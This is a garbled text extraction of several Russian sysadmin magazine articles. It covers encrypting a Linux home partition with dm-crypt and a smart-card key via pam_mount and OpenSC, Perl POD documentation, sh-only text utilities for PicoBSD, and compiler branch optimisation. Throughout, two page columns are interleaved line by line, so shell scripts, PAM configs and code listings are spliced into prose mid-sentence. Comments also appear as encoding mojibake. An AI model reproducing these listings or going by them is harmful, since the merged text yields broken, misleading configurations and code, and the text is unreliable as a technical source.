стейший чат между пользователями, зарегистрировавши- теория и практика, snort. – журнал «Системный адми-
мися на одном сервере. В правом нижнем окне выводится нистратор», №10, 2003 г.
ШИФРОВАНИЕ ДАННЫХ
В LINUX – НОВЫЙ ВЗГЛЯД
НА АППАРАТНЫЕ КЛЮЧИ
АЛЕКСАНДР ПОХАБОВ
«Кто владеет информацией, тот владеет миром» – всем из- утерянных носителях данные не попадут в руки заинтере-
вестное изречение Уинстона Черчилля. Вот и мы, впустив сованных в них лиц? А ведь подавляющее большинство ин-
в свой дом компьютеры, доверяем им хранение части на- формации хранится на жестких дисках, CD, DVD и т. д. в
шего внутреннего мира, который не должен предстать пе- «чистом» виде, и ничто не стеснит злоумышленника в его
ред кем-либо, кроме самих владельцев. Что хранят милли- действиях.
оны жестких дисков по всему свету? От дружеской email- В Интернете, да и в печатных изданиях широко осве-
переписки и домашних фотоальбомов до закрытой от по- щены решения по шифрованию конфиденциальной инфор-
сторонних глаз информации, имеющей статус государствен- мации с использованием пары ключей. Следуя авторам
ной и коммерческой тайны. Но кроме «винчестеров» име- большинства таких статей, пользователи размещают клю-
ются и другие носители, количеством и объемом хранимых чи на все тех же простых носителях, таких как FLASH-нако-
данных превосходящие своих братьев, находящихся внут- пители и флоппи-диски (последние к тому же имеют свой-
ри корпусов современных ПК. Не стоит также недооцени- ство отказывать в самый неподходящий момент). И тут уже
вать значимость той же переписки, ведь статью 23 п.2 Кон- подбор верного passphrase к легкодоступным ключам – дело
ституции РФ еще никто не отменял. техники.
Но, к сожалению, преступный мир не чтит государствен- Нашей задачей будет если не предотвратить возможность
ных законов. Огромное количество персональных компью- восстановления злоумышленником данных из зашифрован-
теров похищается прямо из дома, ноутбуки «забываются» ного раздела полностью, то на порядки усложнить его рабо-
командированными сотрудниками, которые также часто ста- ту. В этом нам поможет аппаратный ключ, хранящий серти-
новятся жертвами грабежа, мобильные носители могут быть фикаты и ключи в своей защищенной энергонезависимой
просто потеряны по пути из точки А в точку Б. Как можно в EEPROM-памяти. Его «прошивка» описана в статье «Же-
таких случаях быть уверенным в том, что находящиеся на лезный login: ломаем зубы грубой силе», №12, 2004 г.).
70
безопасность
Поскольку я имею дело с домашней рабочей станцией # emerge unmerge opensc
под управлением Gentoo Linux, а не с промышленным сер-
вером, то позволил себе использовать dm-crypt вместо crypto- Установка opensc из CVS:
loop (подразумевает ядро начиная с версии 2.6.4). Я дове-
рился мэйнтейнеру cryptoapi Fruhwirth Clemens, выражав- # cvs -d :pserver:cvs@cvs.opensc.org:/cvsroot login
шему свои доводы в пользу dm-crypt в LKML, что и вам со-
ветую. Примечание: вместо ввода пароля нажмите <Enter>.
Впервые поддержка dm-crypt появилась в ядре 2.6.4, но
несмотря на четный минор, в широком кругу Linux-сообще- # cvs -z3 -d :pserver:cvs@cvs.opensc.org:/cvsroot co opensc
# cd opensc
ства считается авантюрой перевод работающих серверов # ./bootstrap
на новую ветвь ядра. В 2.4.-ядрах Device Mapper Support # ./configure --prefix=/usr --exec-prefix=/usr ↵
--with-pam-dir=/ïóòü_ê/libpam --with-pam ↵
недоступен. Из преимуществ dm-crypt перед cryptoloop бег- --with-openct=/ïóòü_ê/libopenct ↵
ло можно назвать независимость от инструментов про- --with-openssl=/ïóòü_ê/openssl
странства пользователя (linux-util), использование mempool,
и отсутствие необходимости в правке /etc/fstab . Более под- Проверьте вывод ./configure в STDOUT, необходимые оп-
робную информацию вы можете найти на сайте проекта: ции, такие как OpenSSL support, OpenCT support и PAM
http://www.saout.de/misc/dm-crypt. support должны быть включены (отмечены как «yes»).
Принцип действия таков: мы поместим зашифрованный
публичный ключ в начало защищаемого раздела, при вхо- # make
# make install
де в систему определенного пользователя (обладающего
аппаратным ключом и знающим PIN), зашифрованный ключ Если при конфигурировании ядра вы не включили в ядро
будет прочитан во временный файл, расшифрован pkcs15- dm-crypt (Multi-device support (RAID and LVM) → Device
crypt и передан в качестве параметра cryptsetup для опре- Mapper Support и Crypt Target Support) статически, то под-
деления зашифрованного раздела (во избежание удаления грузите модуль:
ключа из начала раздела cryptsetup вызывается с парамет-
ром --offset=SECTORS), после чего содержащий копию клю- # modprobe dm_crypt
ча временный файл будет удален. Далее мы отформатиру-
ем новый раздел (для первого использования), смонтиру- Создайте любым удобным для вас способом резервную
ем его и перенесем в него копию домашнего каталога копию пользовательского домашнего каталога. У меня он
пользователя. автоматически архивируется по расписанию и практичес-
Все это, за исключением форматирования и переноса ки ничего, кроме ~/.bash_history, в нем не изменяется. Ре-
из резервной копии содержимого $HOME, будет делаться зервная копия понадобится нам для переноса всего ее со-
автоматически с помощью pam_mount в момент регистра- держимого во вновь созданный и смонтированный в при-
ции целевого пользователя в системе. вычный пользовательский $HOME (прописанный в /etc/
Убедитесь, что в ядре присутствует все необходимое для passwd) защищенный раздел, проще говоря – для мигра-
дальнейшей работы. Ниже приведена выдержка из моего ции. По моему личному мнению резервирование домаш-
/usr/src/linux/.config: них каталогов – просто хороший тон.
Специально для простоты и удобства я создал в корне
CONFIG_BLK_DEV_DM=y директорию /crypt и работал в ней.
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m # mkdir /crypt
CONFIG_BLK_DEV_LOOP=y # cd /crypt
CONFIG_BLK_DEV_CRYPTOLOOP=y # chmod 700 /crypt
CONFIG_CRYPTO_AES_586=y # chown chiko:root /crypt
72
безопасность
Приступим к конфигурированию. Ниже привожу листин- комендуется запретить пользователям просматривать спи-
ги /etc/security/pam_mount.conf и /sbin/mount.crypt. сок чужих процессов с помощью grsecurity (см. одноимен-
ную статью Кирилла Тихонова в журнале №9, 2004 г.).
#cat /etc/security/pam_mount.conf Остается подправить /etc/pam.d/login :
debug 0
# Ïðè âîçíèêíîâåíèè îøèáîê áóäåò ïîëåçíî èìåòü âûâîä: debug 1
options_allow nosuid,nodev,loop,encryption # cat /etc/pam.d/login
# Çäåñü è ñòðîêîé íèæå ïî æåëàíèþ #%PAM-1.0
options_require nosuid,nodev
lsof /usr/sbin/lsof %(MNTPT) auth optional pam_mount.so
fsck /bin/true auth required ↵
# Äëÿ FLASH-íàêîïèòåëÿ ñ ext2fs íå ñ÷åë íóæíûì ïðîâåðÿòü fsck.ext2 /usr/local/lib/security/pam_opensc.so use_first_pass
losetup /bin/true [ïñ] session optional pam_mount.so use_first_pass
unlosetup /bin/true [ïñ] account required ↵
cifsmount /bin/mount -t cifs //%(SERVER)/%(VOLUME) %(MNTPT) ↵ /lib/security/pam_stack.so service=system-auth
-o "username=%(USER)%(before=\",\" OPTIONS)" session required ↵
smbmount /bin/mount -t smbfs //%(SERVER)/%(VOLUME) %(MNTPT) ↵ /lib/security/pam_stack.so service=system-auth
-o "username=%(USER)%(before=\",\" OPTIONS)"
ncpmount /bin/mount -t ncpfs %(SERVER)/%(USER) %(MNTPT) ↵ Пробуем зарегистрироваться как chiko. Если вы верно
-o "pass-fd=0,volume=%(VOLUME)%(before=\",\" OPTIONS)"
umount /bin/umount %(MNTPT) следовали моему описанию, то должны увидеть что-то на-
lclmount /sbin/mount.crypt %(VOLUME) %(MNTPT) -o %(OPTIONS) подобие этого (при выставленном в /etc/security/pam_
# Íå çàáóäüòå çàìåíèòü /sbin/mount.crypt ñêðèïòîì èç Debian
cryptmount /sbin/mount.crypt %(VOLUME) %(MNTPT) ↵ mount.conf значении debug 1):
-o %(OPTIONS)
nfsmount /bin/mount %(SERVER):%(VOLUME) ↵ pam_mount: reading options_allow...
"%(MNTPT)%(before=\"-o \" OPTIONS)" pam_mount: reading options_require...
pmvarrun /usr/sbin/pmvarrun -u %(USER) -d -o %(OPERATION)
# Ñòðîêà, îïèñûâàþùàÿ èìÿ ïîëüçîâàòåëÿ, ðàçäåë, òî÷êó pam_mount: back from global readconfig
pam_mount: per-user configurations not allowed ↵
# è îïöèè ìîíòèðîâàíèÿ by pam_mount.conf
volume chiko crypt - /dev/sda1 /home/chiko loop,cipher=aes - -
pam_mount: real and effective user ID are 0 and 0.
pam_mount: checking sanity of volume record (/dev/sda1)
pam_mount: about to perform mount operations
Весь листинг /sbin/mount.crypt слишком велик, чтобы при- pam_mount: information for mount:
вести его на страницах печатного издания, поэтому добав- pam_mount: --------
pam_mount: (defined by globalconf)
ленные в него блоки буду выделять красным: pam_mount: user: chiko
pam_mount: server:
#  ñàìîì íà÷àëå äîáàâüòå ñòðîêó read PIN pam_mount: volume: /dev/sda1
LOSETUP=/sbin/losetup pam_mount: mountpoint: /home/chiko
pam_mount: options: loop,cipher=aes
CRYPTSETUP=/bin/cryptsetup pam_mount: fs_key_cipher:
MOUNT=/bin/mount
OPTIONS="" pam_mount: fs_key_path:
pam_mount: use_fstab:
read PIN # Òàêèì îáðàçîì ïåðåäàåì PIN â pkcs15-crypt pam_mount: --------
USAGE="dev dir [-o options]
# Íàéäèòå è çàêîììåíòèðóéòå, êàê â ïðèìåðå, pam_mount: checking to see if /dev/mapper/_dev_sda1 ↵
is already mounted at /home/chiko
# ÷åòûðå ñëåäóþùèå ñòðîêè: pam_mount: checking for encrypted filesystem key ↵
#HASHOPT="ripemd160"
#if [ -n "$HASH" ]; then configuration
pam_mount: about to start building mount command
# HASHOPT="$HASH" pam_mount: command: /crypt/mount.crypt ↵
#fi
# Âìåñòî íèõ ïîäñòàâüòå ñâîè: /dev/sda1 /home/chiko -o loop,cipher=aes /home/chiko
pam_mount: mount errors (should be empty):
HASHOPT="" pam_mount: 128+0 records in
if [ ! -z "$HASH" ]; then
HASHOPT="-h $HASH" pam_mount: 128+0 records out
pam_mount: waiting for mount
fi pam_mount: clean system authtok (0)
KEYSIZEOPT="256" pam_mount: command: /usr/sbin/pmvarrun -u chiko -d -o 1
pam_mount: pmvarrun says login count is 1
if [ -n "$KEYSIZE" ]; then pam_mount: done opening session
KEYSIZEOPT="$KEYSIZE"
fi
# Ñðàçó æå ïîñëå KEYSIZEOPT-ñåêöèè äîáàâëÿåì Вот и долгожданное приглашение! Проверьте наличие
# òðè íîâûõ ñòðîêè: в новой домашней директории своих перенесенных из ре-
dd if=/dev/sda1 bs=1 count=128 of=/crypt/key
/usr/local/bin/pkcs15-crypt --raw -p $PIN --pkcs1 ↵ зервной копии данных и вывод команды mount.
--decipher -k 45 -i /crypt/key | $CRYPTSETUP ↵
--cipher=aes --hash=plain --key-size=256 ↵ # mount | grep mapper
--offset=2048 create $DMDEVICE $DEVICE
rm /crypt/key
/dev/mapper/_dev_sda1 on /home/chiko type ext2 (rw)
# Ñëåäóþùóþ ñòðîêó èç îðèãèíàëà çàêîììåíòèðóåì,
# òàê êàê âûøå èñïîëüçóåì ñîáñòâåííûé àíàëîã: Как успел заметить опытный читатель, пользуясь опи-
#$CRYPTSETUP -c $CIPHEROPT -h $HASHOPT ↵
-s $KEYSIZEOPT create $DMDEVICE $DEVICE санным способом, можно шифровать не только пользова-
тельские домашние каталоги.
Пример скрипта /sbin/mount.crypt можно скачать на сайте Со страниц журнала желаю вам удачи, и пусть ваши кон-
журнала http://samag.ru в разделе «Исходный код». В боль- ституционные права остаются незыблемыми.
шинстве случаев придется изменить только /dev/sda1 и путь
к директории хранения временного файла на необходимые Ссылки:
вам значения. 1. http://www.flyn.org/projects/pam_mount.
Есть риск, что во время выполнения другими пользова- 2. http://www.saout.de/misc/dm-crypt.
телями ps в ее вывод может попасть наш PIN, поэтому ре- 3. http://opensc.org.
АЛЕКСЕЙ МИЧУРИН
Разрабатываете ли вы утилиту или обширный пакет про- perlpod: «The Pod format is not necessarily sufficient for writing
грамм, строите ли аппаратный комплекс или создаёте про- a book. Pod is just meant to be an idiot-proof common source
граммно-аппаратную среду, вы неминуемо столкнётесь с for nroff, HTML, TeX, and other markup languages, as used for
необходимостью составления качественной документации. online documentation».
Зачастую требуется или желательно, чтобы документация Аббревиатура POD означает Plain Old Documentation.
была доступна в нескольких форматах: для печати и для POD разрабатывалась для документирования программ
ознакомления on-line. Система POD предлагает простой и модулей, разработанных на языке Perl. Но, во-первых, эта
язык разметки документов и средства конвертирования, по- система достаточно универсальна и может использовать-
зволяющие получить документы в наиболее «ходовых» фор- ся для документирования не только Perl-программ. А во-
матах: не размеченный текст, man-страница, HTML-стра- вторых, она разработана так, что не требует для написа-
ница, PostScript и PDF. ния документации знания языка Perl. Это делает её уни-
версальным, мощным и простым в освоении средством со-
Что такое POD? здания электронных документов.
Постараюсь угадать первые вопросы читателей и коротко Слово «old» в аббревиатуре не должно вводить читателя
ответить на них, но прежде не могу не процитировать perldoc в заблуждение. Система не является устаревшей. Напротив,
74
программирование
она постоянно совершенствуется. В последней версии Perl ! Форматированные абзацы. Обработчики, или програм-
(5.8) впервые появилась подробная спецификация POD. мы просмотра, сами решают, как разбить текст на стро-
Я не могу претендовать на исчерпывающее описание. ки в готовом документе, обеспечив необходимое вырав-
Если оно вам нужно, обратитесь к perldoc perlpodspec. Там нивание. В этих абзацах допускаются конструкции, из-
подробно обсуждаются все детали формата. меняющие шрифт, создающие перекрёстные гиперссыл-
Например, что будет, если в список вставить заголовок ки, расширяющие набор доступных символов. Об этих
или повторно выделить жирным текст, уже являющийся возможностях я буду говорить ниже.
таковым. Для решения большинства задач документирова- ! Неформатированные абзацы чаще всего используются
ния этих тонкостей знать не надо. Они нужны, скорее, раз- для представления листингов программ. Здесь в резуль-
работчикам новых конвертеров POD-документов в другие тирующем документе сохраняется то же разбиение на
форматы. Для пользователя существует описание форма- строки, что и в POD-файле. Всегда используется моно-
та POD perldoc perlpod. В этой статье я практически не буду ширинный шрифт. Никакие управляющие последова-
выходить за его рамки, но отдельно рассмотрю вопросы ки- тельности символов не обрабатываются, а отобража-
риллизации POD, не затронутые ни в одном из указанных ются вместе с остальным текстом «как есть».
руководств. ! Управляющие параграфы содержат команды, управля-
ющие структурой документа: заголовками, списками и
Принцип работы POD прочим.
Читатели, знакомые с HTML или системой вёрстки TeX/
LaTeX, уже встречались с подходом, практикуемым и в POD. Тип параграфа задаётся очень просто:
Это не WYSIWYG-система. Она предполагает, что вы раз- ! если первый символ параграфа не пробел и не знак «=»,
рабатываете документ в определённом формате, а потом то это форматированный параграф;
конвертируете его в любой другой, который необходим вам ! если первый символ пробел – неформатированный;
для печати или просмотра. ! если знак «=» – управляющий.
Это позволяет поддерживать одну «мастер-версию» в
формате POD, из которой по мере необходимости вы смо- Вот простой пример форматированного и неформати-
жете получать документы в различных форматах и по-раз- рованного параграфов:
ному оформленные, например, отличающиеся базовым раз-
мером шрифта или свёрстанные в одну или две колонки. Êîíâåðòèðîâàòü EPS-ôàéë â ëþáîé äðóãîé ôîðìàò ìîæíî
ïðîãðàììîé C<gs>, èìåþùåé íåèñ÷èñëèìîå ìíîæåñòâî îïöèé
Таким образом, для освоения POD нам придётся рас- è âîçìîæíîñòåé. Ïðèìåð:
смотреть сам формат и средства конвертирования.
gs -sDEVICE=png16 \
-sOutputFile=drag.png \
Статья и примеры -dBATCH \
-dNOPAUSE \
В статье я буду рассказывать о возможностях POD от про- -r72x72 \
стого к сложному. При накоплении критической массы зна- -sPAPERSIZE=a5 \
drag.eps
ний мы будем отвлекаться и рассматривать вопросы кон-
вертирования POD-документов в соответствующий формат. Обратите внимание, второй параграф («gs...») начина-
Естественно, при таком изложении и форматы будут идти ется с пробела, это неформатированный параграф. После
от простых к сложным. обработки, в формате PDF этот фрагмент будет выглядеть
Для того чтобы не быть голословным, я написал крошеч- примерно так:
ную программку на Perl и снабдил её инструкцией. Подавля-
ющее большинство примеров в этой статье взяты из неё.
Вы можете получить полную версию программы и докумен-
тации на сайте журнала в разделе «Исходный код». Далее
я буду называть этот файл для краткости просто архивом.
В него входят документированная программа и все сред-
ства преобразования документации в форматы – от про-
стых текстовых до PostScript, PDF и HTML. Конвертирова-
ние в PostScript и PDF будет описано в следующем номере.
Перейдём к рассмотрению возможностей POD. Начнём
с базовых принципов формата POD.
Конечно, внешний вид будет слегка варьироваться в за-
Абзацы в POD висимости от того, какой вы выберете размер шрифта при
Формат POD предполагает, что весь документ разбит на создании PDF, каков будет размер бумаги и поля, во сколь-
абзацы, которые отделены друг от друга одной (или более) ко колонок будет свёрстан документ, будет ли использо-
пустой строкой. Очень желательно, чтобы это была дей- ваться система автоматической расстановки переносов.
ствительно пустая строка, не содержащая даже пробелов.
Старые версии обработчиков POD могут некорректно реа- Основные команды
гировать на подобные неточности соблюдения формата. Управляющих команд совсем немного, и в этом разделе мы
Абзацы бывают всего трёх типов: рассмотрим почти все из них.
76
программирование
Управляющие последовательности просты и компактны:
S<Ñèòíèêîâà Î.Â.>
Здесь вся фраза «cat part >> file2append» будет оформ- Как видите, способ не самый удачный, но зато он рабо-
ляться моноширинным шрифтом. тает и в старых версиях POD.
Как раз здесь уместно вспомнить о последовательнос- Здесь же уместно привести ещё один пример использо-
ти Z<>. Её можно внедрить между двумя символами «боль- вания Z<>. Если вам потребуется получить последователь-
ше». Она никак не повлияет на внешний вид документа, но ность символов «E<60>» в форматированном параграфе,
разобьёт последовательность «>>», которая в противном то в POD-файле её можно записать так:
случае могла бы быть интерпретирована как управляющая.
Одним словом, код: EZ<><60>
C<< cat part >> file2append >> Тогда она не будет обработана как escape-последова-
тельность.
будет понят POD-конвертерами не так, как мы хотели, а код:
Конвертирование в «цветной» текст
<< cat part >Z<>> file2append >> и man
Теперь мы знаем о POD почти всё и можем посмотреть, как
даст как раз требуемый результат. с этим работать. Для начала рассмотрим текстовые фор-
Честно говоря, я не сталкивался с ситуациями, когда маты.
использование последовательности Z<> было бы действи- Не секрет, что в текстовом формате доступен весьма
тельно оправданно (мой пример – не исключение), но, воз- скромный набор символов (максимум 256), а шрифт варь-
можно, вы встретитесь с такими ситуациями, и вам она со- ировать нельзя. Поэтому ни pod2text, ни pod2man не обра-
служит хорошую службу. батывают «сложные» escape-последовательности. То есть
Такая же разметка допустима и в управляющих пара- последовательность E<mdash> так и попадёт в текст доку-
графах, например, в тексте заголовков, но там её исполь- мента необработанной потому, что символ «длинное тире»
зование не вполне оправданно. Текст управляющих пара- недопустим в текстовом документе. Вы получите предуп-
графов и так форматируется соответствующим образом; реждающее сообщение «Unknown escape». Корректно об-
причём в разных форматах по-разному. Имеет ли смысл рабатываются только «простые» символы. Например, пос-
выделять жирным шрифтом слово в заголовке, которое и ледовательность E<gt> (или E<62>) будет, как и положено,
без того будет отформатирован жирным? Кроме того, мо- преобразована в знак «больше».
гут возникнуть недоразумения: в заголовке форматирова- В разделе «Списки» вы уже видели, как получить длин-
ния не видно, а в оглавлении – видно. ное тире с помощью последовательности E<mdash>. В моём
примере встречается ещё один «неординарный» символ –
Специальные символы градус. По аналогии с HTML он именуется deg. После кон-
(escape-последовательности) вертирования в такие форматы, как HTML эти символы
Набор символов, доступных в форматированных абзацах, выглядят абсолютно корректно и только украшают текст,
гораздо шире стандартного ASCII-набора. Символы можно но текстовые конвертеры не в состоянии их обработать:
задавать с помощью последовательности E<...>. Её «аргу- Эта проблема немного надуманная. Вряд ли вам пона-
ментом» может быть имя символа или код. Имена симво- добится и изящно оформленный HTML- или PostScript-до-
лов совпадают с именами, используемыми в HTML, коды кумент, и примитивный текстовый вариант документации.
могут быть и ASCII, и Unicode-кодами символов (никогда Честно говоря, я впервые заметил эту проблему только ког-
не пробовал использовать Unicode, но согласно докумен- да готовил материал настоящей статьи и мне для иллюст-
тации – должно работать). Согласно документации, если раций понадобились все форматы. Но если вы с ней всё-
код предварён конструкцией «0x», он интерпретируется как таки столкнётесь, то можете применить несложный скрипт,
шестнадцатеричный, если начинается с нуля – как восьме- который будет корректно «вычищать» escape-последова-
ричный. Например, E<gt> обозначает знак «больше». Этот тельности из документа перед его преобразованием в тек-
же символ можно получить, задав его код в любой системе стовый формат.
счисления: E<62> или E<0x3e>, или E<076>. Однако мой Я использовал вот такой скрипт:
опыт показывает, что надёжнее использовать десятерич-
ные коды. #!/usr/bin/sed -f
s/E<mdash>/--/g
От использования Unicode я бы советовал воздержать- s/E<deg>/ ãðàäóñîâ/g
78
программирование
Как видите, это sed-фильтр, который заменяет «E<mdash>»
на «—», «E<deg>» на слово «градусов». Все текстовые до-
кументы я получал, предварительно пропустив исходный
документ через этот фильтр:
./antiescape file.pod | pod2text >file.text Здесь я применил pod2text без каких-либо параметров.
Обратите внимание, что название подпрограммы взято
Это, пожалуй, единственная неприятная особенность в кавычки, которых в POD-документе мы не писали. Это
конвертеров в текстовые форматы. Теперь о приятном: об произошло потому, что мы указали, что «next_step» – код
их возможностях, пусть скромных, но всё-таки заслужива- программы – C<...>. По умолчанию конвертер pod2text зак-
ющих пары слов. лючает фрагменты кода в кавычки. Это поведение можно
Начнём с самого простого pod2text. скорректировать. Опция -q none подавляет кавычки, опция
Опция -c позволяет ему разметить текст цветом при -q с иным аргументом задаёт альтернативные символы ка-
помощи ANSI escape-последовательностей. вычек. За подробностями обращайтесь к man-странице
Вот как будет выглядеть на экране терминала фрагмент pod2text или pod2man или perldoc-страницам, посвящённым
документа, полученного с помощью pod2text -c (мы, конеч- этим командам.
но, предварительно обработали POD-файл фильтром antie-
scape): Конвертирование в HTML
В полную силу возможности форматирования начинают
работать при конвертировании в более «серьёзные фор-
маты», например, в HTML. Преобразование осуществляет
программа pod2html. Уже знакомый нам фрагмент в фор-
мате HTML будет выглядеть так:
80
программирование
обеспечивающий связь с CSS-таблицей, находящейся во
внешнем файле.
Как видите, вся его работа заключается в том, что он Продолжение следует
вставляет CSS-таблицу перед тегом </head>. Практически В следующем номере я опишу процедуру конвертирования
всё его тело тоже составляет CSS-таблица. POD-документов в форматы PostScript и PDF. Коснусь кон-
Кстати, использование такого скрипта полностью осво- вертирования в такие форматы, как Microsoft Word Document
бождает вас от необходимости указывать в POD-файле и RTF. Расскажу о средствах автоматической проверки пра-
какие-либо дополнительные конструкции (типа =for html). вильности POD-синтаксиса. И поделюсь своими мыслями
После пропускания HTML-документа через этот фильтр, о перспективах развития POD и о том, каких усовершен-
вид его кардинально изменится. Вот фрагмент: ствований можно ждать от будущих версий.
ПРОГРАММИРОВАНИЕ НА SHELL
В ЭКСТРЕМАЛЬНЫХ УСЛОВИЯХ
ГАСПАР ЧИЛИНГАРОВ
Эта статья описывает нетривиальные способы использо- class, задается при помощи квадратных скобок [ ]) или стро-
вания программной оболочки sh для создания скриптов. ка. Все последующие аргументы воспринимаются как стро-
Например, реализацию на sh простого аналога grep. ка, которая должна быть обработана. Если передавать стро-
Зачем это нужно? В случае, если вы крайне ограниче- ку без использования одинарных('') или двойных кавычек(«»),
ны в дисковом пространстве или объеме памяти, которые то sh сам разобъет ее на подстроки, используя свой разде-
вы можете использовать для прикладных программ. В моей литель входных полей (задается в переменной IFS), что не
ситуации при создании системы на базе PicoBSD свобод- всегда желательно. Шаблоны в sh всегда «жадные», т.е. пы-
ного места на дискете было крайне мало, чтобы записать таются соответствовать максимальному количеству симво-
туда стандартные утилиты. Все скрипты рассчитаны и пи- лов, поэтому если вы передаете как разделитель символ *,
сались для использования в PicoBSD/FreeBSD и использу- результаты могут быть непредсказуемые. Знак «?» можно
ют возможности стандартного интепретатора /bin/sh. использовать в разделителе для обозначения любого сим-
вола.
Реализация шаблонов
(regular expression) в sh cut_atomic () {
local DELIM STRING
Иногда бывает необходимо сравнить текстовые данные с # ðàçäåëèòåëü ìîæåò áûòü ëþáîé ñòðîêîé, íå òîëüêî îäèí ñèìâîë
шаблоном или выделить оттуда какую-то часть. Для этого DELIM="$1"
shift
обыкновенно используются sed, awk или perl – в зависимо- # îñòàâøèåñÿ àðãóìåíòû
сти от пристрастий программиста и сложности задачи. Од- STRING=$*
нако когда вы ограничены объемом памяти, для простых за- result=${STRING%%${DELIM}*}
дач крайне нецелесообразно использовать отдельные ути- return 0
}
литы. Перед дальнейшим чтением обязательно ознакомь-
тесь с разделом Parameter Expansion в руководстве по sh(1). В данном случае запись ${переменная%%шаблон} уда-
Ниже приведены примеры, как эмулировать утилиту cut ляет наибольший возможный суффикс из строки – то есть
при помощи скриптов и функций sh. остаются только символы с начала строки до первого вхож-
Все описанные функции возвращают результат в гло- дения разделителя.
бальной переменной result. В случае удачного завершения
код выхода у функций равен 0, и имеет ненулевое значе- Аналог cut(1)
ние, если произошла ошибка. Если результат функции не Функция cut работает аналогично вызову утилиты:
определен или функция ничего не возвращает, то она при-
сваивает переменной result пустую строку. cut -d${ðàçäåëèòåëü} -f${íà÷àëüíîå_ïîëå} -${êîíå÷íîå_ïîëå}
82
программирование
тавшиеся аргументы – обрабатываемая строка. Функция чуть extract_manufacturer "$S"
удобнее в использовании, чем утилита cut, так как в каче- echo "manufacturer code: $result"
стве разделителя может использоваться не только один
символ, но и строка или шаблон. Если вам нужно получить Проверка на соответствие шаблону
только одно поле, следует задать одинаковый начальный и Иногда необходимо проверить соответствие строки неко-
конечный индекс. торому шаблону. Одно из основных применений – провер-
ка входных данных. Единственный способ в shell, который
cut () { позволяет проверить, соответствует данная строка шабло-
local DELIM POS1 POS2 STRING STR1 POSTFIX
ну или нет, – это использование оператора case. Для удоб-
DELIM="$1" # ðàçäåëèòåëü ства можно создать вокруг него обертку – «wrapper».
POS1=$2 # íà÷àëüíûé èíäåêñ
POS2=$3 # êîíå÷íûé èíäåêñ Первый аргумент для функции match_pattern – это шаб-
shift 3 лон, которому должна соответствовать строка, а все остав-
STRING=$* # îñòàâøèåñÿ ïàðàìåòðû ôóíêöèè
шиеся аргументы – это обрабатываемая строка. Функция
# åñëè êîíå÷íûé èíäåêñ ìåíüøå íà÷àëüíîãî, match_pattern_strict требует, чтобы вся строка соответство-
# âîçâðàùàåì îøèáêó
if [ $POS2 -lt $POS1 ]; then вала заданному шаблону, а match_pattern мягче – она тре-
result="" бует совпадения с шаблоном лишь части строки. Будьте вни-
return 1 # êîä âûõîäà > 0
fi мательны – чаще всего вам придется заключать шаблон в
одинарные или двойные кавычки, чтобы sh не раскрывал
# óäàëÿåì ïåðâûå ${POS1}-1 ýëåìåíòîâ èç ñòðîêè
I=1 символы подстановки «*» и «?» в шаблоне перед тем, как
while [ $I -lt $POS1 ]; do передать его функции.
STRING=${STRING#*${DELIM}}
I=$(($I+1))
done match_pattern_strict () {
local PATTERN STRING
STR1="$STRING" # çàïîìèíàåì ðåçóëüòàò # äâîéíûå êàâû÷êè îáÿçàòåëüíû, ÷òîáû íå ïðîèñõîäèëî
# ðàñêðûòèå ñèìâîëîâ ïîäñòàíîâêè
# óäàëÿåì âñå ýëåìåíòû âïëîòü äî ïîñëåäíåãî ýëåìåíòà, PATTERN="$1"
# êîòîðûé íàì íóæåí, îò ñòðîêè îñòàâëÿåì ñóôôèêñ, shift
# ñîñòîÿùèé èç íåíóæíûõ ýëåìåíòîâ STRING=$*
while [ $I -le $POS2 ]; do
STRING=${STRING#*${DELIM}} result=""
I=$(($I+1))
done case "$STRING" in
$PATTERN) # ïîëíîå ñîîòâåòñòâèå øàáëîíó
# ó íàñ óæå åñòü íåíóæíûé ñóôôèêñ ñ ïåðåìåííîé return 0
# STRING, óäàëÿåì åãî èç çàïîìíåííîãî ðåçóëüòàòà esac
result=${STR1%${DELIM}${STRING}} return 1
return 0 }
}
match_pattern() {
local PATTERN STRING
84
программирование
# arr_set_by_index ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß При перенаправлении надо проявить аккуратность. Если
# ÍÎÌÅÐ_ÈÍÄÅÊÑÀ ÇÍÀ×ÅÍÈÅ_ÊËÞ×À ÇÍÀ×ÅÍÈÅ_ÏÎËß перенаправить поток на вход команды read, a не на вход
arr_set_by_index() {
local i array kfield vfield index kvalue value блока while, скажем вот так:
array=$1
kfield=$2
vfield=$3 while read name pass uid gid gcos homedir shell junk ↵
index=$4 < /etc/passwd; do
kvalue=$5 ...
shift 5 done
vvalue=$*
Сегодня мы продолжим
сравнение Linux-компиляторов,
начатое в прошлом номере журнала,
и рассмотрим оптимизацию условных
переходов и операторов типа switch.
Механизмы их трансформации достаточно
многочисленны и разнообразны. За последнее
время было предложено множество новых идей,
воплощенных в компиляторах GCC 3.3.4
и Intel C++ 8.0 (сокращенно icl), однако древний
Microsoft Visual C++ 6.0 (сокращенно msvc)
не сдает своих позиций, так что не спешите
списывать его в утиль и сдавать на свалку.
КРИС КАСПЕРСКИ
Оптимизация ветвлений/branch Чтобы падения производительности не происходило, не-
Ветвления (по-английски branch, они же условные/безуслов- которые компиляторы прибегают к выравниванию, распола-
ные переходы) относятся к фундаментальным основам лю- гая инструкции перехода по кратным адресам и заполняют
бого языка, без которых не обходится ни одна программа. образующиеся «дыры» незначащими инструкциями, такими
Даже «hello, world!»! Ведь выход из функции main – это тоже как XCHG EAX, EAX (обмен содержимого регистров EAX ме-
ветвление, пусть и неявное (однако ж процессор синтакси- стами) или MOV EAX, EAX (пересылка содержимого EAX в
сом языка не проведешь!). А сколько ветвлений содержит EAX). Это увеличивает размер кода и несколько снижает
сама функция printf? А библиотека времени исполнения? его производительность, поэтому бездумное (оно же «аг-
Суперскалярные микропроцессоры, построенные по рессивное») выравнивание только вредит.
конвейерной архитектуре (а все современные микропроцес- Легко показать, что машинная команда требует вырав-
соры именно так и устроены), быстрее всего выполняют ли- нивания в тех, и только тех случаях, когда условие:
нейный код и ненавидят ветвления. В лучшем случае они
дезориентируют процессор, слегка приостанавливая выпол- ((addr % cache_len + sizeof(ops)) > cache_len)
нение программы, в худшем же – полностью очищают кон-
вейер. А на последних Pentium он очень длинный (и с каж- становится истинным. Здесь: addr – линейный адрес инст-
дой последующей моделью становится все длиннее и длин- рукции, cache_len размер кэш-линейки (в зависимости от
нее). Быстро его не заполнишь… на это может уйти не одна типа процессора равный 32, 64 или 128 байтам), ops – сама
сотня тактов, что вызовет обвальное падение производитель- машинная инструкция. Количество выравнивающих байт рас-
